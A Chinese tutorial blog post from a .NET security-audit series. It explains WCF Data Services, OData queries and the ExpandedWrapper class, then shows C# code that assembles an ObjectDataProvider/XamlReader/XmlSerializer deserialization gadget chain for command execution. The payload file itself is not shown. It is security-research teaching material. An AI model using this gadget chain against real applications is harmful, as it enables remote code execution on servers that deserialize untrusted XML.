.NET高级代码审计(第15课) 反序列化Gadget之详解ExpandedWrapper

0X01 背景

ExpandedWrapper在XmlSerializer反序列化过程发挥了至关重要的作用,完美的扩展了两个泛型类且它的公开的属性可以存储投影结果,正是由于提供了这么多强大的功能才被反序列化漏洞发现利用起来,由于太过于特殊很少被用到,微软官方在类的备注上也做了说明:WCF数据服务的基础设施,不建议直接在代码里用,既然提到了WCF,那么就简单的介绍下WCF是什么? WCF 全称 Windows Communication Foundation 是微软设计支持程序通讯的应用框架,WCF几乎涵盖了所有.NET Framework 中的通信方法,为其提供了统一的API接口,以及灵活的配置方案,解决Web Service,.NET Remoting以及Winsock等各个框架之间切换通信的问题。实际中的ExpandedWrapper为了解决 WCF Data Services 扩展查询需求而设计的,请阅读者保持好奇心跟随笔者一探究竟吧!如下是摘自微软官方介绍

/// <remarks>此类支持WCF数据服务基础设施,不建议直接从代码中使用。</remarks>
    [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.MSInternal", "CA903", Justification = "Type is already under System namespace.")]
    [System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)]
    public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : ExpandedWrapper<TExpandedElement>
    {
        public TProperty0 ProjectedProperty0 { get; set; }
        protected override object InternalGetExpandedPropertyValue(int nameIndex)
        {
            if (nameIndex == 0) return this.ProjectedProperty0;
            throw Error.NotSupported();
        }
    }

0X02 WCF Data Services用法

WCF Data Services 早期版本叫 ADO.NET Data Service,核心功能位于 System.Data.Services.dll 程序集提供的 System.Data.Services.DataService 类,DataServices类会自动加载来源于System.Data.Entity对象生成具有增查删改功能的WCF服务,并且这些服务是以Http方式与客户端进行通信的,任何实现HTTP访问的客户端都可以与DataServices进行数据访问交互,如此一来访问数据库就显得特别容易。WCF Data Services 在.NET平台下配合最常用的ORM框架 Entity Framework,首先创建两张表Category、Product,设置Product产品表外键为CategoryId,CategoryId =1 代表类别为.NET,CategoryId =2代表类别为Java,如下图

再创建ADO.NET 实体数据模型,新建数据库连接注意加上本地hostname和数据库名,模型会自动向web.config里追加名为TestEntities的Entity Framework连接字符串信息。接着需要导入Data Services 模板文件,下载地址:https://marketplace.visualstudio.com/items?itemName=CONWID.WcfDataServiceTemplateExtension 导入成功后可添加新的模板文件

设置DataService<T>为创建实体模型名TestEntities4,EntitySetRights.All 表示给实体集合和操作指定创建、读取、更新和删除数据的权限,DataServiceProtocolVersion.V2表示当前OData协议版本,需要和Entity Framework 5.x版本匹配。

启动服务后也许会出现错误提示,但看不到错误详情,这个时候需要在web.config 增加 <serviceMetadata httpGetEnabled="true" /> 和 <serviceDebug includeExceptionDetailInFaults="true" />或者直接在 DataService类上添加特性 [ServiceBehavior(IncludeExceptionDetailInFaults = true)],这样再次启动后就可以看到错误详情。

<system.serviceModel>
    <serviceHostingEnvironment aspNetCompatibilityEnabled="true" />
    <behaviors>
      <endpointBehaviors>
        <behavior name="">
          <webHttp defaultOutgoingResponseFormat="Json" />
        </behavior>
      </endpointBehaviors>
      <serviceBehaviors>
        <behavior name="">
          <serviceMetadata httpGetEnabled="true" />
          <serviceDebug includeExceptionDetailInFaults="true" />
        </behavior>
      </serviceBehaviors>
    </behaviors>
  </system.serviceModel>

错误详情也许是”在数据上下文类型上,有一个顶级 IQueryable 属性,其元素类型不是实体类型。确保 IQueryable 属性是实体类型或在数据上下文类型上指定 IgnoreProperties 属性以忽略此属性“,需要在两张表对应的实体cs文件内的主键添加 DataServiceKey 特性,如下

// Category 类名表
[System.Data.Services.Common.DataServiceKey("Id")]
public partial class Categroy
{
        public Categroy()
        {
            this.Product = new HashSet<Product>();
        }  
        public int Id { get; set; }
        public string CategoryName { get; set; }    
        public virtual ICollection<Product> Product { get; set; }
}

// Product 产品表
[System.Data.Services.Common.DataServiceKey("ProductId")]
public partial class Product
{
        public int ProductId { get; set; }
        public string ProductName { get; set; }
        public Nullable<int> CategroyId { get; set; }
    
        public virtual Categroy Categroy { get; set; }
}

0X03 OData用法

OData 全称 Open Data Protocol —  开放数据协议,是用来查询和更新数据的一种Web协议,其提供了把存在于应用程序中的数据输出的方式。OData被广泛应用于微软的SharePoint产品

OData运用且构建于很多 Web技术之上,比如HTTP、AtomPub和JSON,提供了从各种应用程序、服务和数据库之间交互数据的能力,也称为资源导向架构(ROA),用户能够对各种资源进行Web线上实时的查询,类似于使用 SQL 在数据库中查询数据,唯一的区别是ROA允许用户通过URL创建查询。开放数据协议 (OData) 支持创建基于 REST 的数据服务,这些服务允许使用统一资源标识符 (URI) 标识并在数据模型中定义的资源由 Web 客户端使用简单的 HTTP 消息发布和编辑。服务使用的 URI 最多包含三个重要部分:服务根 URI、资源路径和查询字符串选项。

http://localhost:60701/WcfDataService1.svc/Category(1)/Product?$top=2&$orderby=CategroyName
_______________________________________/ __________________/  _________________/
                   |                                |                    |
             数据服务根URI                       资源路径                查询参数

比较常用的路径和字符串选项如下

名称 查询条件
查询元服务数据 http://localhost:60701/WcfDataService1.svc/$metadata
查询Categroy实体表Id,CategroyName列的数据 http://localhost:60701/WcfDataService1.svc/$select=Id,CategroyName
查询Categroy实体表所有的数据 http://localhost:60701/WcfDataService1.svc/Categroy
查询Categroy实体表字段CategroyName值为NET的数据 http://localhost:60701/WcfDataService1.svc/Categroy/CategroyName='NET'
查询Categroy实体表主键=1的数据 http://localhost:60701/WcfDataService1.svc/Categroy(1)
查询Categroy实体表主键=1的类名在Product表里的对应数据 http://localhost:60701/WcfDataService1.svc/Categroy(1)/Product
主键Id 升序查询Categroy实体表 http://localhost:60701/WcfDataService1.svc/Categroy$orderby=Id asc
查询Categroy实体表前2条数据 http://localhost:60701/WcfDataService1.svc/Categroy$top=2&$orderby=Id desc
查询Categroy实体表categroyName字段值长度为10的数据 http://localhost:60701/WcfDataService1.svc/Categroy$filter=length(categroyName) eq10

OData 协议为通过 URL 查询数据提供了强大的功能,与 SQL 非常相似。 OData Vs SQL 对应关系更多请参考下图

0X04 ExpandedWrapper用法

首先新建客户端项目,通过客户端应用拉取服务端的数据,笔者定义了私有类Uri, 初始化Uri类传入构造方法参数指向服务端的URL地址 http://localhost:60701/WcfDataService1.svc/ 

private TestEntities4 context;
private Uri svcUri = new Uri("http://localhost:60701/WcfDataService1.svc/");
context = new TestEntities4(svcUri);

客户端通过Linq模拟发起服务端请求,如查询产品表主键ProductId=2的数据,对应的服务端请求为 http://localhost:60701/WcfDataService1.svc/Product(2) ,如下图

Product productData = context.Product.Where(x => x.ProductId == 2).Single();

除此之外重点介绍下扩展系统查询选项$expand 可以把相关的NavigationProperty 导航属性的数据一并取出,首先访问 http://localhost:60701/WcfDataService1.svc/$metadata 获取Product实体表关联的属性Categroy , 

<NavigationProperty Name="Categroy" Relationship="WCFDataService.Product_Categroy" FromRole="Product" ToRole="Categroy"/> 

访问 http://localhost:60701/WcfDataService1.svc/Product?$expand=Categroy ,可看到输出当前所有的产品,例如下方文本中的ProductName = ObjectDataProvider,生成关联类别名链接 Product(1)/Categroy

<entry>
    <id>http://localhost:60701/WcfDataService1.svc/Product(1)</id>
    <title type="text"></title>
    <updated>2022-05-11T12:34:03Z</updated>
    <author>
      <name />
    </author>
    <link rel="edit" title="Product" href="Product(1)" />
    <link rel="http://schemas.microsoft.com/ado/2007/08/dataservices/related/Categroy" type="application/atom+xml;type=entry" title="Categroy" href="Product(1)/Categroy">
      <m:inline />
    </link>
    <category term="WCFDataService.Product" scheme="http://schemas.microsoft.com/ado/2007/08/dataservices/scheme" />
    <content type="application/xml">
      <m:properties>
        <d:ProductId m:type="Edm.Int32">1</d:ProductId>
        <d:ProductName>ObjectDataProvider</d:ProductName>
        <d:CategroyId m:type="Edm.Int32">1</d:CategroyId>
      </m:properties>
    </content>
  </entry>

这样的返回信息里是获取不到当前产品名对应的分类名称的,还需要请求一次查询 Product(1)/Categroy 才能拿到分类名,为了解决这样的问题是要求提供者在一个查询中获取类别及其产品,正常情况下可以通过投影一次查询请求即可获取到分类和它关联的产品数据,这样的好处在于减少应用和数据库之间的交互次数提高性能。

var datas = from d in context.Categroy.Select(category => new
                {
                    Category = category,
                    Products = category.Product
                })
                select new
                 {
                    ProductList = d.Products,
                    CategroyList = d.Category
                  };

可惜WCF Data Services 客户端对上述查询方法支持不友好,因为每次的查询扩展的属性都需要生成新的类, 如果客户端要实现像服务端那样通过/WcfDataService1.svc/Categroy?$expend=Product查询的方式,就需要用到微软提供一个新的WCF Data Services 类 ExpandedWrapper,ExpandedWrapper 是一种泛型类型,实际上有 12 种这样的类型,其中泛型参数指定要扩展的实体的类型,然后指定每个扩展属性的类型。然后每个 ExpandedWrapper 都有一个属性 ExpandedElement,它将存储被扩展的实体(我们示例中的类别)和一定数量的属性,称为 ProjectedProperty0、ProjectedProperty1 等,以存储扩展的导航属性

var database = from d in context.Categroy.Select(category =>
    new ExpandedWrapper<Categroy, IEnumerable<Object>, IEnumerable<Product>>
                            {
                                ExpandedElement = category,
                                Description = "Category",
                                ProjectedProperty1 = category.Product
                            })
    select new
    {
       Name = d.ProjectedProperty1,
       ElementName = d.ExpandedElement
     };

如果WCF Data Services 需要用到多级扩展场景时就需要不断将被扩展的实体存储到属性ProjectedProperty0、ProjectedProperty1 等等 ,改下代码实现匿名类型扩展查询获取分类名称和关联产品数据

var q = from d in context.Categroy
                        .Select(p =>
                        new
                        {
                            ExpandedElement = p,
                            ProjectedProperty0 = new
                            {
                                ExpandedElement = "产品分类" + p.CategoryName,
                                ProjectedProperty0 = p.Product.Select(x => new {产品名 = x.ProductName }),
                                ProjectedProperty1 = new ObjectDataProvider()
                            }
                        })
                        select new
                        {
                            Name = d.ProjectedProperty0
                        };
                var r = q.ToList();

上述代码 ExpandedWrapper类的属性 ProjectedProperty0 存储了Categroy、Product两个实体投影后生成的新数据,这个新的数据集包含了每个产品分类和产品名称对应关系,代码运行后如下图

当然笔者尝试将ProjectedProperty1属性赋值为一个新的实例化对象ObjectDataProvider也没有抛出异常, 查看源码可知ProjectedProperty1返回的也是一个基类对象object,所以ProjectedProperty1可以设置为.NET任意类型,而且ProjectedProperty0和ProjectedProperty1均声明为公共属性,这个点对于xmlSerializer反序列化非常重要。

0X05 反序列化

学到了上节加《第14课》的知识后,回过头再看下面这段代码就容易理解的多了,笔者尝试沙盘推演下整个思路和打法,首先第一阶段:第2和第3行分别创建了两个对象xamlReader和objectDataProvider,然后将xamlReader.Parse方法赋给objectDataProvider实例化后的成员MethodName,这样就可以调用XamlReader.Parse(string)方法,再向方法参数MethodParameters 添加资源字典字符串,让Parse方法解析ResourcesDictionary里的Payload;

string xml = File.ReadAllText("Dictionary1.xaml");  //资源文件,存储了payload
XamlReader xamlReader = new XamlReader();
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = xamlReader;  //成员的值为 新对象xamlReader
objectDataProvider.MethodParameters.Add(xml);
objectDataProvider.MethodName = "Parse";

紧接着在第一阶段中objectDataProvider对象的成员ObjectInstance,它存储了xamlReader对象, 所以此时的objectDataProvider既承载自身对象的值也承载了xamlReader对象的数据,那么需要找到一个可以同时承载两个对象的类,并且这个类的属性可以存储被承载两个类的数据集合,而且该类的属性和类都必须声明为公开的,不能是私有或者受保护的。很幸运的是ExpandedWrapper可以完成这项艰巨的任务,它可以查询扩展多个类,例如 ExpandedWrapper<XamlReader, ObjectDataProvider>,属性 ExpandedWrapper.ProjectedProperty0可以存储被扩展的多个类查询数据的集合,在这个例子中就是存储了objectDataProvider

FileStream fileStream = File.OpenWrite(@"demo.txt"); //序列化成功后将数据写入到demo里
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = objectDataProvider;
using (TextWriter textWriter = new StreamWriter(fileStream))
{
    XmlSerializer xmlSerializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
    xmlSerializer.Serialize(textWriter, expandedWrapper);
}

因为XmlSerializer类在反序列化时只能对公共的属性做序列化处置,所以最后捋一下整体过程:1. 因为 XAML 能存储包含恶意代码的<ObjectDataProvider>扩展标记,所以找到了 XamlReader.Parse方法解析这段XAML达到命令执行的效果;2. 为了能调用XamlReader类的Parse方法,又找到了 ObjectDataProvider类;3. ObjectDataProvider类被实例化后除了自身外还承载了XamlReader类,所以需要找到 ExpandedWrapper类扩展包装在一起,并且属性ProjectedProperty0 可以存储这两个类的查询集合数据;4. 最后 XmlSerializer类顺利序列化 expandedWrapper。

-> XAML:<ObjectDataProvider> -> XamlReader.Parse(XAML) -> ObjectDataProvider.ObjectInstance=xamlReader 
-> ExpandedWrapper(XamlReader,ObjectDataProvider) -> expandedWrapper.ProjectedProperty0=objectDataProvider
-> xmlSerializer.Serialize(expandedWrapper)

0X06 结语

相信通过本文介绍大家对ExpandedWrapper类有了初步的认知,有助于解开XmlSerializer反序列化中核心链路的疑问,下一节将介绍XmlSerializer反序列化漏洞总结篇,请大伙继续关注文章涉及的PDF和Demo已打包发布在星球,扫码左侧二维码进入星球,扫码右侧二维码关注dotNet安全矩阵公众号,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

posted @ 2022-06-27 20:14  Ivan1ee  阅读(204)  评论(0编辑  收藏  举报